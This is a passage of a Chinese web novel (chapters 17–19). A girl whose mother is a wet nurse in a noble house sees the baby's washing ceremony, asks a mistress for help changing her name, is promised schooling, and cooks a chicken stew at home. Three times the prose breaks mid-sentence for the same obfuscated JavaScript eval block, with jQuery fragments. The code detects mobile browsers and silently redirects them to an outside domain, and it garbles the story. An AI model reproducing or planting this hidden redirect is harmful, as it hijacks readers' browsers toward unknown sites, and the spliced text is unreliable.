一旁王大娘在掰粉条，掰好的粉条用热水泡上，普通人家吃这个是因为碎粉头炖菜时间一久就散了，但是在侯府，只会把粉条掰碎。 白菜全用的嫩芯，一点白菜帮都没有。豆腐是去大厨房拿的，白白净净一大块。 陆云蓁中午没吃多，就留崔如英在屋里吃的。 薄卷饼，白菜豆腐，一盘子烤鸭，还有一盘京酱肉丝。 汤是酸萝卜鸭架汤，没有辣椒还有生冷之物，白菜豆腐粉条连荤腥都不见。 饼皮没有薄如纸，却软如绸缎，虽然不能包容万物，可是这三道菜，能裹得紧紧的，什么清炖排骨，陆云蓁已经忘到脑后了。 裹着白菜豆腐粉条的春饼卷成一个小卷，咬一口，是豆腐的水嫩的粉条的柔和，没肉的确清淡，可里头似也有肉香的。 猪油炒的，能不香吗。 崔如英觉得赵大娘她们做的更吃好，以往吃粉头还会咯牙，但是这道白菜豆腐粉丝，特别随和。 陆云蓁道：“是好吃，还好有你。” 崔如英：“大鱼大肉吃多了，也得换换口味。” 烤鸭两人都没怎么吃，反而是白菜豆腐京酱肉丝，裹着卷饼几乎吃完了。 再喝碗鸭架汤，浑身舒坦。 吃过饭，崔如英让陆云蓁好好休息，陆云蓁喊了声李嬷嬷，“把我妆匣最下面那对梨花小钗子拿来。” 崔如英道：“三娘子，你不会是要给我吧？只一顿饭而已，吃了高兴就是，不必这么客气。” 李嬷嬷把装着小钗子的盒子拿过来，陆云蓁取来亲手戴到崔如英头上，“不是给，是送于你。” 崔如英年纪小，梳了双丫髻，一边一个，正好。 钗子是银的，上头两朵梨花是黄玉攒的，陆云蓁笑着打量一番，“好看，这是我幼时戴的，现在已经用不上了。本来想留给女儿，可这生了男孩也不便留给他。 你年纪小，戴着好看。千万别推来推去，我还坐着月子呢。” 崔如英没再扭捏，“三娘子，真的好看吗？” 陆云蓁点点头，“好看极了。” 崔如英笑着道：“谢谢三娘子。” 陆云蓁道：“也谢谢你费心为我想吃食。” 陆云蓁还坐月子呢，崔如英没再打搅，便回了厢房。 等到太阳落山，夜幕降临，屋里都点了灯了，陈娘子还没起来，屏风那边还有呼噜声。 崔如英估摸着该到戌时了，可陈娘子不起，怎么换人。 又等了一会儿，秋月就来屋里喊陈娘子，大概是因为上午出了趟门，下午觉不够睡，所以喊了几声，陈娘子才醒过来。 平日也就罢了，现在两个人看孩子，拿一样的工钱，她晚一会儿，许娘子就得多看一会儿。 陈娘子迷迷瞪瞪睁开眼，嘴上说着马上马上，但又在屋里收拾了好一会儿才去东屋。 崔如英等啊等，许娘子才回来。 许娘子神色有些疲倦，崔如英忍不住道：“都怪陈娘子起不来，害娘回来晚了。” 17. 第十七章 名字 许娘子好脾气道：“多看一会儿也不费劲，谁都有忙的时候，更何况夜里看更累人。” 其实月子里还不算太忙，孩子睡的时候多，醒了换尿布喂奶，拍拍嗝晒晒黄疸，等能翻身之后，怕磕了碰了，就得更仔细。 她白天看已经占了便宜了，咋好意思因为一时半会儿的说人不好。 许娘子坐着歇了一会儿，问崔如英六丫咋样。 崔如英道：“才两天，看着没长多少，我把羊奶留下了，还去了刘婶儿家一趟。” 崔如英把刘婶儿抱六丫去临街喝奶的事儿说了说，那三十文钱也交代了。 许娘子嫌买绢花乱花钱，崔如英道：“二姐都这么大了，在家多累，你都给我做了新衣裳，她能高兴吗？” 许娘子这才看见崔如英头上的小钗子，是梨花样子，跟袖口上的小花正相呼应，“你头上这哪来的？” 崔如英道：“下午三娘子叫我过去说了会儿话，她中午吃的不好，我就跟厨娘说了做春饼。春饼反而能用的多些，然后三娘子就把这对小钗子给了我。娘，我本来不想要，可是三娘子盛情难却，她坐着月子呢，我也不好跟她拉扯这个。” 崔如英的确没想要，若只是让车夫送送，她高高兴兴的。 不过要都要了，崔如英笑着问：“娘，好看吗？” 许娘子在心里叹了口气，几个孩子里三丫长得最好，戴着这个哪儿能不好看呢。 只不过做娘的，看见自己买不起的别人给了女儿，心里就有些难受。 许娘子：“既然是三娘子给的，就好好收着。” 到底是说不出让崔如英别往外戴的话来。 崔如英笑了笑，恰巧秋月来送饭食，崔如英催着许娘子快吃饭。 有丫鬟帮衬，小公子又成日睡着，许娘子没到忙起来脚不沾地的地步，只不过别人家的孩子要更上心谨慎，所以一天紧绷着，才觉得累。 吃过饭，崔如英又催许娘子赶紧睡，比起卖包子，这三两银子赚的也不容易，不过做生意得有头脑，当初的日子能做奶娘已是万中之幸了。 只不过，陈娘子这人欺软怕硬，就是吃定她娘脾气哈，可回回让她这么欺负，那怎么行。 崔如英打算再看看，要是一直这样，得想法子。 次日一早，许娘子不到辰时就醒了，醒来轻手轻脚收拾好，也没喊崔如英，还抓紧时间吃了个饭。 两人定好了早上辰时轮换，晚上戌时轮换，一人六个时辰。 崔如英醒的时候，正听见门口许娘子跟陈娘子说话，陈娘子乐呵呵地说道：“许妹子，昨儿起得有些晚了，辛苦妹子多看会儿，真是对不住。” 崔如英坐起来，离门口近，她见许娘子反倒一脸不好意思道：“哪儿的话，都有忙的时候，况且晚上看更累些。你快回去睡觉吧，这也累了一晚上了。” 陈娘子笑了笑，“成，那我就回去了。” 天已经亮了，陈娘子笑着看了崔如英一眼，“三丫也醒啦。” 崔如英点点头，“婶子回来了。” 陈娘子打了个哈欠，“这一晚上也累人，真困呐。” 她目光落在崔如英脸上，很快，她眼睛骨碌骨碌转着，就瞥到一旁桌子上的梨花银钗上，“这钗子挺好看的。” 崔如英把钗子拿起来，道：“那可不，三娘子给我的，婶子也觉得好看吧。” 陈娘子问的道：“来，你跟婶子说说，都帮三娘子啥忙了，三娘子给你这个？” 崔如英道：“就跟着说说话，陪着三娘子，我一个孩子能帮啥忙，婶子你也太瞧得起我了。我觉得呀，是三娘子身边没有可以说话的人，我又爱说话，也许是因为这个才找我的。” 陈娘子点了点头，“这样呀，行吧，你玩儿去吧，婶子去睡觉了。” 崔如英冲着陈娘子笑了笑，等她绕过屏风，崔如英揉了揉脸，陈娘子那边没一会儿就想起了呼噜声。 陈娘子爱说话，嘴有些碎，年纪大的妇人，这也不算什么大毛病。 可偏偏仗着夜里喂奶，占许娘子的时辰，许娘子不好说什么，还不如白天夜里两人轮换着来。 崔如英觉得那是个雷打不动的，不过她动作依旧轻，收拾好后秋月又来送早饭了，一杯羊奶两块绿豆糕，两个巴掌大的肉饼，还有一碗鸽子汤。 崔如英慢吞吞吃完，端着托盘去了小厨房。 碗筷不用她刷，端到小厨房就行了。 院子里有些热闹，燕归堂的丫鬟们手里抱着托盘，不知道往哪个方向去。 才来几天，很多人崔如英都面生，就认得李嬷嬷，大丫鬟锦月，还有帮衬许娘子她们、偶尔来送饭的竹月秋月。 这般忙碌。 崔如英突然想起，今天是小公子出生的第三天，侯府肯定要办洗三礼。 崔家孩子多，孩子越多家里越穷，不管是因为长得好看颇受疼爱的崔如英，还是四郎五郎，都没办过洗三礼。 甚至连满月都没大办过。 六丫满月那天还是刘婶儿记着，过来送了六个鸡蛋。 崔如英也没跟谁打听过侯府的事，但看一大早就这么多人准备，想来陆云蓁生了小公子，侯府上下都很欢喜。 那日得喜钱，秋月说是夫人给的，钱夫人应该很看重这个孙子。 大房二房总不至于这么多年都没孩子，钱夫人看重，要么前头的两房不是她所生，要么生的是孙女。 崔如英一个孩子，也帮不上什么，刚要回屋，就听李嬷嬷叫她，“崔小娘子！” 崔如英回过头，“嬷嬷，可是三娘子叫我。” 李嬷嬷道：“今儿小公子洗三，崔小娘子一会儿也去沾沾喜气吧。” 洗三礼在正院办，可见一斑。 如今未立世子，府上依旧是她管家，只不过年纪大了，家中琐事就交给了身边的管事嬷嬷，偶尔让几个儿媳妇操持。 小公子的洗三礼要请福泽深厚德高望重的老人主持，过来的宾客还要添盆呢，燕归堂的丫鬟就是去正厅准备洗三的洗澡水和宴席。 毕竟小公子是三房的，燕归堂丫鬟们也上心。 这是热闹事儿，丫鬟们都去看热闹呢，让崔如英同去是陆云蓁特意嘱咐的。 崔如英大大方方道：“行，什么时辰呀，是不是得中午，中午暖和些。” 如今三月中旬，草长莺飞天气渐暖，不过刚出生的孩子，还是得谨慎些。 李嬷嬷笑了笑，“没错，到时崔小娘子就和三娘子同去。” * 陆云蓁还在月子中，吹不得风，中午过去的时候从头到脚都包裹得严严实实，这个时节还披着冬日带毛的氅子。 孩子一早就由丫鬟和奶娘抱到正院去了，崔如英没乱走，也没乱跑，就跟在陆云蓁身边。 陆云蓁拉着崔如英的手，细心叮嘱，“一会儿到了正院，我们先去给夫人请安，夫人若是问你你就答，其他人不必理会。” 崔如英点了点头，又问陆云蓁：“三娘子冷不冷？” 崔如英年纪小火力旺，热源顺着两人握在一起手传到陆云蓁身上。陆云蓁摇摇头，“穿得多，而且你手也热，我还觉得热得慌呢。” 崔如英满意地笑笑，“那就行。” 到了正院，楚庚元也在，陆云蓁先带着崔如英去请安，钱夫人道：“还坐月子呢，快起来。” 小公子在偏房，这会儿由奶娘照料。 钱夫人让陆云蓁坐下，又看向崔如英说道：“这就是你说的那奶娘的女儿吧，是个美人胚子。” 钱夫人完全是看在陆云蓁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800781|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面子上，她冲崔如英招招手，然后从头上摘了根珍珠金钗，她这个岁数首饰大多华丽老成，给崔如英戴并不合适，索性就放到了崔如英手里。 这个是真不能要。 崔如英把手背到身后，推脱道：“夫人，我跟我娘过来就是为了照顾小公子，这个断不能收的。” 钱夫人原本，只是看在陆云蓁的面子才给了见面礼，可是崔如英个头也就六七岁的样子，却一点都不怯生，口齿伶俐，说话声音清脆跟黄鹂鸟似的好听，更显模样好看，钱夫人就多了两分真心，“给你你就收下。” 陆云蓁笑着道：“收着吧，长者赐不可辞。” 是一般孩子她也不会带过来，崔如英懂事儿明事理，只会给她长脸。 崔如英道：“多谢夫人。” 钱夫人道：“也是个可人，看来是爹娘教养的好。” 陆云蓁笑了笑，“我想的和母亲一样呢，孩子还小，能耳濡目染，长大懂事些，做父母的也能少操心。” 钱夫人算是给陆云蓁吃了颗定心丸，“二房如今没顶立门户的，你好好教养，日后侯府门楣，都得你们三房担着。” 说完这句，正院的丫鬟进来道：“夫人，三娘子，吉时到了，宾客们都在正厅等着呢。” 钱夫人欣慰一笑，“走吧。” 陆云蓁朝着崔如英招招手，她今儿也是观礼。 不仅钱夫人重视此事，连安定侯也重视，长房孩子不少，可嫡出孙子这还是头一个。 洗三安定侯请了不少同僚，钱夫人的娘家、交好的世家夫人也都来了。 丫鬟们备好了洗澡水，紫檀木的澡盆已放好了温水。 正厅摆好了茶点椅子，先来的宾客就直接添盆了。 添盆有祝福之意，像普通人家，投几枚铜钱就聊表心意了。但是来安定侯府的都是贵客，家世显赫不说，跟安定侯府交情也不错，有往水里投玉把件的，有投玉观音的，有投金镯子的。 楚庚元准备了一个竹子翡翠挂坠，陆云蓁给的是早给孩子准备的玉佩。 崔如英跟在陆云蓁后面，她身无长物，但心意嘛，就把那日给的喜钱二两银子放了进去。 若是女孩子，她肯定放珍珠簪子了，可男孩子，只能放银子了。 正巧许娘子也抱孩子出来了，看见崔如英也在她还愣了愣，三丫怎么也在这儿？不过今儿人多，宾客如云，丫鬟也不少。 添盆过后吉时也到了，安定侯今日穿的极其郑重，他拱手对宾客道：“多谢大家百忙之中来观礼，今日是我孙儿璋哥儿的洗三礼，请郑国公夫人来主持，只盼他日后能长大成人，振兴门楣。” 安定侯说完，陆云蓁怔住了，她看了眼楚庚元，孩子才出生第三天，名字一直未取，问楚庚元只说不急，却没想到公爹在这样的场合给起了名字，还是璋这样的字，可见寄予厚望。 楚庚元拍了怕陆云蓁的手，虽未说话，却也是无声安抚。 崔如英人小也看不见大人的脸色，她的确有些羡慕，还是有个名字好呀，她现在还叫三丫呢。 总不能一辈子都叫三丫吧。 后头看着郑国公夫人给璋哥儿洗了洗，然后就由许娘子抱回去了。 安定侯府备了席面，陆云蓁还在月子中，洗三礼结束就回燕归堂了，崔如英不在乎席面，脑子里反倒一直记着名字这事儿。 陆云蓁看了她几眼，“怎么了，是不是饿了，不然让李嬷嬷带你去吃席？” 崔如英摇摇头，“三娘子，我能不能请你帮个忙。今日我看见小公子有祖父起了名字很是羡慕。我如今名字叫三丫，但是早些年我大哥念书，听他读过《诗经》，其中有两句话记忆颇深，有女同行，颜如舜英。我也给自己起了个名字，如英，三娘子，你能不能说与我娘听。” 18. 第十八章 读书 “如英，”陆云蓁念了一遍，后来在心里又连着崔如英的姓，一起读了一遍，崔如英，倒是朗朗上口，是个好名字。 许娘子从前做过奶娘，家里应该是过过一阵有钱日子的，家里孩子能读书倒也不稀奇，只不过那会儿崔如英才几岁，竟然还记得《诗经》里的一句诗。 陆云蓁只觉得稀奇。 而崔如英请她帮忙之事，算不上为难，但陆云蓁顾虑多些，让她和许娘子说这事儿，她觉得有些不合适。 就拿改名字的事来说，在侯府这样的地方，多是当主子的给丫鬟改名字。 再者说了，名字不管好不好听，都是长者给起的，她哪里好做主改许娘子起好的名字。 把名字改成如英的确是好听，就怕许娘子多想。 陆云蓁心里突然有了个主意，她拉着崔如英的手问道：“那你可还记得别的诗句，可知如英二字是什么意思？” 崔如英道：“英，华也，华是花的意思，我记着的还有一句叫落英缤纷，诗经中带如英二字的也有，‘彼其之子，美如英’，其余的我就不记得了。” 改名字的事崔如英其实想过去求许娘子，只不过家里都是这样的名字，两人起名字时依着“贱名好养活”，六个孩子也就这么叫下来了。 来侯府许娘子就千叮咛万嘱咐了，不能生别的心思，若是知道她想要改名字怕是要多想。 许娘子怕崔如英生出飞上枝头的心。 陆云蓁倒是有些惊喜，她道：“你能记得这些已经很不错了，如英这两字甚好，这个忙我答应帮你，不过不能现在就和你娘说。” 崔如英刚一喜，神色又顿住了，这是为何？ 陆云蓁耐心解释道：“私下里我可以叫你如英，你记性好，也有悟性，你可知女子也该读书识字的。二房的女儿今年六岁，现在在府里的学堂读书，长房的女儿也要启蒙，我想让你到时候跟着一块儿去念书，这名字可以让学堂先生帮你改，也算师出有名。” 师者，长也，改名字也合乎情理。 比起答应改名字的事儿，更让崔如英惊喜的是能去读书。且不管能不能赚钱，家境如何，在这个时代女子读书可不是件容易事儿。 崔如英道：“多谢三娘子！三娘子大恩我没齿难忘！” 陆云蓁笑道：“你不必急着谢我，牵个线而已，读书是为了你自己读的，万不可懈怠。” 她也有自己的打算，这读了书和不读书自然是不一样，崔如英聪慧，读书又能明理，她身边一个奶娘的女儿都知书达理，对她也是有助益的。 陆云蓁道：“这哪里算什么大恩，你帮我的才是大恩情呢，你若想感激，就好好读书，争取比长房二房的姑娘们还厉害。这女子虽不用考状元，但读书识字也是要紧的。” 两人一边走一边说话，这回到燕归堂，陆云蓁就直接回正屋了。 崔如英是真的感激，心里一跳一跳的，她上过学，好好读书还不容易。 回了厢房，一进去便听鼾声如雷，陈娘子还正睡着。 这会儿也到了吃中午饭的时辰，等了一会儿秋月进来送饭，陈娘子咕噜一声爬起来，“秋月姑娘，我肚子也饿了，顺便吃点儿吧。” 当奶娘的自己肚子饿了奶水就不足，秋月原以为陈娘子怎样睡到傍晚，这会儿醒了自然要去拿饭。 等吃过了饭，陈娘子又睡下了，崔如英原以为她今儿还回家，却不想没有。 而且陈娘子今儿醒得早，吃过晚饭，时间一到就去换许娘子了。 许娘子回来的时候还和崔如英说，“你看我说得不错吧，这人都有有事的时候，哪能日日那么准时，今天不就挺好。” 崔如英笑了笑，“娘说得是，陈婶子也挺和善的，娘，累了一日，快吃饭吧。” 和善不见得，这人做奶娘久了，圆滑得很。 有人两天晒网还打三天渔呢，哪儿能日日都迟。若真那样，不说许娘子不愿意，在东屋帮忙看着的秋月也不会放任不管。 迟两日好两日，可本来就该准时的事儿，许娘子现在却高高兴兴的。 活像准时过去是恩赏一般。 许娘子乐得与人为善，不愿意听崔如英说人坏话，崔如英就不说给她听。 许娘子累了一日了，今儿洗三，府里人多热闹，她抱着璋哥儿去了不少地方。 等吃完饭，崔如英把珍珠金钗给许娘子了，“我和三娘子去的正院，这是夫人给的见面礼，三娘子说长者赐不可辞，女儿就没有推脱，东西太贵重了，还是放娘这儿吧。不过洗三我给添盆了，那日二两银子喜钱，全放进去了。” 她啊，现在没钱了，就剩十一文。 东西过于贵重了，家里这么多年，都没有见过一块金子。 许娘子想还回去，可大户人家，给都给了，哪里还得回去。 看着女儿的面庞，许娘子只能点点头，“娘给你收着，若日后真的给你了，就留给你做嫁妆。” 崔如英明白许娘子的小心翼翼，但她觉得，早晚有一天，崔家也能有钱。 不会像今日一样，别人送的东西都不敢收。 许娘子累了一日，崔如英催她早些睡觉。 临睡前崔如英道：“娘，我打算明儿再回家一趟，顺便在家里住两天，估计到时候爹也把屏风做好了，正好送过来。” 陆云蓁坐月子呢，她不用日日都在这儿，许娘子白日看孩子去，崔如英大多时间都是在屋里。 她想回家看看。 其实侯府再好，也不如自家自在，崔如英觉着，她在侯府顿顿有肉，但崔大山他们在家里肯定不会乱花钱，也该改善改善伙食。 许娘子困意涌了上来，却还在絮絮叨叨，“明儿回去也成，别再让三娘子叫车夫送了。告诉你爹，院里的小白菜该栽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800782|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，给喂六丫的人家再拿点东西，别小气了。趁天气好，把家里的被褥晒晒，鸡笼子得撒些石灰水……” 许娘子的声音越来越小，崔如英趁着外面的月色，仰头看看许娘子，许娘子已经睡着了，眉尖有缕倦色。 崔如英伸手把许娘子的眉头抚平，轻声道：“知道了，娘，快睡吧。” 次日一早，崔如英跟许娘子一块儿起的，吃过早饭，留了杯羊奶和两块点心，羊奶正好带回去给六丫喝，点心她路上吃。 城南城北远着呢，走回去也要好久。 许娘子嘱咐好几遍，记着路，莫要乱跑，崔如英再三保证记在脑子里了，许娘子才去东屋。 等到辰时，崔如英就去正屋找李嬷嬷说回家的事儿，“嬷嬷，我还想在家住两天。” 看崔如英一脸乖巧，李嬷嬷道：“我进去问问，看看三娘子今日用马车不，不用的话就给你送回去。” 陆云蓁还在月子里，大概率是不用的。 反正也空着，送个孩子顺手的事儿。 崔如英声音脆甜，“李嬷嬷，就不用马车送了，我今儿走回去吧。再说了，日后回去的次数多，也不能日日都送，我得认认路。” 李嬷嬷道：“这……” 崔如英道：“嬷嬷，我知道不与陌生人搭话，也不乱跑乱看，谁给钱我都不要，直到安然回到家中。” 李嬷嬷笑着点了点头，“那好，可一定得小心仔细些。” 崔如英回屋收拾东西，陈娘子也回来了。 陈娘子连着打了两个哈欠，看崔如英收拾东西，道：“三丫也要回家呀？” 崔如英笑了笑，“婶子你也回去？” 陈娘子：“离得近，就想回去看看，家里放心不下。” 崔如英东西已经收拾好了，奶给六丫带着，两块点心也装上了，“婶子你可真好，自打三娘子生了小公子后，我娘还没回去过呢，成天不放心我妹妹。” 陈娘子脸色微变，很快又笑了笑，“哎，那可不是，谁能放心家里孩子。咳，我这每回回去也是因为放心不下家里闺女，才那么大。” 崔如英说这话是不经意说出口的，因为每次回家，许娘子都嘱咐好几遍，看看六丫好不好。 陈娘子的孩子也是刚出生，她就理所当然地觉得她回去必然是喂女儿，可刚刚陈娘子神色不对。 崔如英以前什么东西都卖，所以擅长察言观色，陈娘子刚的神色分明是诧异和不屑，她留了个心眼，面上冲陈娘子笑笑道：“婶子跟我娘一样，时辰不早了，婶子忙了一晚上，快睡吧，我先走了。” 陈娘子哎了一声，“你一个人回去可得慢点儿。” 出了侯府，崔如英是按着当初来城北的路往回走的，她一边走一边想，五郎跟六丫差了两岁多，五郎早就断奶了，这会儿能走能跑。 陈娘子的儿子跟她女儿又差多少岁呢？ 19. 第十九章 齐头并进 心里有疑惑，自然得打听了才能清楚，不过今儿崔如英肯定不会乱走，她着急回家，怕羊奶捂坏了，一会儿走一会儿跑，走到半路肚子饿了就把点心吃了一块，剩下的一块带回家了。 虽然说什么都不带回去也成，但是一块点心四郎五郎能被她支使两天。 回到家已经快过辰时了，没办法，人小腿短走得慢，在门口崔如英大喊了一声爹，崔大山正在井边刷竹屉，抬头时脸上满是笑容，“三丫回来啦！咋又回来了？” 崔如英：“想家了就回家看看，这回打算待两天，爹，屏风做好了吗？” 崔大山搓搓手，“已经打好了，昨天刚刷的漆，得晒个两天散散味儿。吃饭了吗，锅里还有包子呢，灶膛里也有红薯。” 崔如英：“吃啦，大哥二姐呢，我给六丫带了壶羊奶。” 崔大山道：“抱着喂奶去了，找了两家，早上喂一回晚上喂一回，都拿了鸡蛋和包子。” 一个人去不放心，就都跟着去了，离得远，这会儿还没回来呢。 家里就崔大山一人，四郎五郎不必说，肯定出去玩了，崔如英在家里转了一圈儿，鸡仔崔大山已经给放外面笼子里养了，长大了不少，还是十二只，小白菜也栽了。 家里的事也不是事事都用许娘子嘱咐。 不错不错，家还是那个家。 她又掀开锅盖，里面留了两个包子，还有好几个红薯。 崔如英吃过早饭了，不想吃包子，她道：“爹，我可回来一趟，是不是得吃点好的呀。” 崔大山觉得现在吃的就挺好，早上包子剩四五个就不卖了，带回家吃。肉包子也是肉，家里现在顿顿有肉，那还等着吃啥。 崔大山比许娘子更会过日子，他自己都不吃肉包子，总吃馒头，但给许娘子和孩子还是很舍得的。 不过家里也吃够了，啥好东西也不能天天吃，原来早上一人一个都不够吃，现在掰着分半个，就去吃烤红薯了。 崔如英把手一伸，“爹，给钱，我买肉去。” 崔大山从怀里摸铜板，“咋又买肉，家里天天有肉，侯府吃的不好咋地。” 崔如英道：“吃的当然好了，我是好了可你看大哥二姐，还有四郎五郎，都长个子呢，成天吃蒸红薯能成吗。” 崔大山数了十八个铜板，崔如英道：“多给点儿，我在侯府新学了菜式，没准儿能加到包子摊儿上。” 崔大山又数了十八个，要是买五花肉，三斤得三十六文。 也是赚钱了，不然崔大山舍不得给，现在一天稳妥卖十二屉包子，有时卖得快有时卖得慢，剩四五个就带回来，从十四到今天除去下雨那天有五天，赚了一吊二百多文钱。 想肉吃就吃点儿。 不过崔如英今天不打算买五花，刚吃的红烧肉，家里可以炖只鸡，放土豆子，做个小鸡盖被。 一斤鸡肉几文钱，买个四五斤的，还能捞点小钱。 许娘子坐月子的时候，隔两三日家里就炖一只鸡。但是崔大山手艺不好，为了滋补都是清炖，炖出来油多，崔如英偶尔吃几口，都是当水煮鸡肉吃的。 崔如英打算今天炖鸡的时候放几个辣椒，这样更入味儿。 街上就有活鸡卖，崔如英跑街上去，挑了个四斤八两的小公鸡，一斤鸡肉七文钱，讲价只要了三十三文。 剩下三文钱就进她口袋了。 鸡是活鸡，活蹦乱跳的，摊主给绑了翅膀，崔如英提着鸡回去了。 回到家崔大山一脸诧异，“咋买了只鸡，没买肉？” 崔如英道：“鸡补身子嘛，爹，你们这些日子辛苦了。我下厨做顿好饭，好好犒劳犒劳你。爹，一会儿我再给你捏捏，保准舒舒坦坦的。” 崔大山一听这话，也不好指责，把刷好的竹屉晾上，然后把鸡接过来，“我杀鸡去。” * 崔大郎和二丫回来的时候就见崔大山在院子给鸡拔毛，家里没这么大的鸡，肯定是买的。 崔二丫福至心灵，“爹，是不是三丫回来了！” 家里除了崔如英，没人敢跟着大人要肉吃，崔家在京城也没啥亲戚，更不会有人过来做客，所以只能是三丫回来了。 崔大山点点头，“嗯，你妹在屋里呢。” 二丫赶紧往屋里跑，看见崔如英在厨房翻箱倒柜，不知道忙活啥，“咋回来了？” 崔如英抬起头，大郎怀里抱着娃，她把手里的活放下，看了眼六丫，许是因为找人喂了奶的缘故，也就两天，看着胖了不少。 崔如英摸了摸六丫的手，“回家看看六丫，我央着爹买了只鸡，咱们中午吃炖鸡。姐，家里还有玉米面不，找半天没找着，中午就不吃米饭了，吃二合面饼子。” 二丫二话不说就去翻玉米面，少年话更少，只说了句三妹回来了，就把六丫抱进屋。 崔如英道：“大哥，我给六丫带回来瓶羊奶，桌上还有块点心。” 崔大郎点点头“哎。” 他把妹妹放床上，却没动点心，打算给弟弟留着。 二丫虽然也不咋说话，但崔如英能感觉出她高兴来。 玉米面找好，二丫问：“还需要啥，用我干啥不？” 二丫还记得那日吃的红烧肉，一块一块肥而不腻，好吃得很。她很想吃鸡肉，比红烧肉更想吃，许娘子坐月子的时候每每给她，她都摇头不要。 可许久不吃肉，哪里是真的不想吃。 崔如英要做的叫小鸡盖被，鸡肉土豆炖一锅，然后玉米面和白面揉成面饼，盖在锅里。 小火慢慢炖，鸡肉的油脂和肉香，最后都煮进面饼里了。 上次炖肉还剩些香料，糖后来又买了，倒是不缺什么。 崔如英道：“一会儿把鸡肉切成比上次红烧肉稍微大一点的块儿，切完揉面吧，姐，多揉一会儿，面才劲道，吃饭七个人，得跟锅这么大，被子似的。” 二丫点点头，崔大山把鸡收拾好了，她闷不吭声地剁鸡块儿，剁好就揉面，安安静静的。 崔如英撸起袖子，鸡是她提回来看着宰的，新鲜得不得了，不用焯水。小公鸡虽然也肥，可不似五花肉那么肥腻，所以也用不着煎。 糖色崔如英上次炒过，二丫一边揉面一边看着，鸡块下锅，油碰到水劈里啪啦地响，鸡块上了色，早就切好的土豆也都倒了进去。 然后就是家里的小葱，一盆小白菜，接着是干辣椒，大蒜瓣和姜片，盐糖酱油，还有两小勺白糖。 这勺白糖和炒糖色的糖不一样，是增鲜的。 把调料都炒进去后，崔如英去炉子上拎热水，二丫手上都是面，她就踩着凳子直接把水倒了进去，水没过鸡肉，灶膛里火苗跳跃，没一会儿锅就开了。 二丫问崔如英：“这么大行吗？” 二丫揉了半天面，面的确劲道，她得很用力地擀，面饼有她半指厚，占了整个面板子。 家里是大锅，正好能把鸡肉给盖上。 崔如英点点头，“姐，你跟我一块儿把面盖上去。” 小鸡盖被，就是这个意思。 小鸡在里面，被子在外面，正好吃一锅出。 二丫点点头，姐妹俩把面饼铺在锅里，面折翻起来的地方崔如英用铲子弄了弄。 锅是沸着的，不一会儿面饼就被汤中的气泡顶的鼓起来了。 崔如英这才把锅盖盖上。 鸡肉炖得时间久，就越入味越香，崔如英抽了点柴火出来，就让锅这样慢慢炖着。 二丫看了几眼，回屋看着六丫。 等到中午，外面的孩子开始往家跑了，四郎五郎抓虫子回来，二人闻着巷子里的香味，忍不住吸吸鼻子。 家里天天都能吃上肉，他们已经已经不那么馋肉了，可是离家越近肉味越香，进了家门，跟掉进肉堆似的，烟囱还呼呼冒着烟，就是他们家在做肉。 两人机灵得很，四郎一进门就看见崔如英坐着烧火，他把竹篓子放地上，“三姐你可回来了，我想死你了！三姐，我来烧！” 五郎也喊着三姐，崔如英皱着眉道：“一身土，赶紧洗洗去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800783|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 四郎知道崔如英爱干净，拉着弟弟去洗手洗脸，崔大山在院子里摆活屏风，三丫说了，后天顺便把屏风给拉去。 正午时分，四郎和五郎已经在锅旁等着了，上次尝了肉，这回也念念不忘。 崔如英算着炖了有一个时辰了，就揭开锅盖看了看。 最上面的饼子已经熟透了，放上去时是白面和玉米面掺在一起的淡黄色，如今已被汤染成了浅褐色。 她用筷子撕了小块尝了尝，面饼筋道入味，入口是咸辣味儿，细嚼嚼带着一点玉米的香甜。 二丫问：“好吃吗？” 崔如英撕了小块放二丫嘴里，四郎五郎已经张好嘴等着了，“姐，姐！” 崔如英给他俩嘴里一人放了小块饼，四郎眼睛一亮，五郎被烫得直跳，却也舍不得吐。 崔如英：“慢点吃。” 她又挑了块鸡肉和小块儿土豆，鸡肉已经脱骨了，家里养的鸡骨头是空的，连骨髓都炖到了汤中。 鸡肉筋道有嚼劲，崔如英尝了一口，肉比土豆更入味儿，咸辣鲜香。 “差不多了，招呼爹和大哥吃饭了。” 一大锅连饭都不用煮，像大锅菜却和大锅菜不一样。 崔如英看还有不少汤呢，就加了两把柴，收了收汤，没一会儿饭菜就端上桌了。 因为锅大被子大，崔如英把面饼用铲子切成了巴掌大的小块儿。 屋里都是肉香，六丫也开始哭闹。 二丫道：“我去喂喂，三丫不是带奶回来了吗。” 崔如英点点头，给二丫捡了几块鸡肉和土豆，饼子也留了两块。 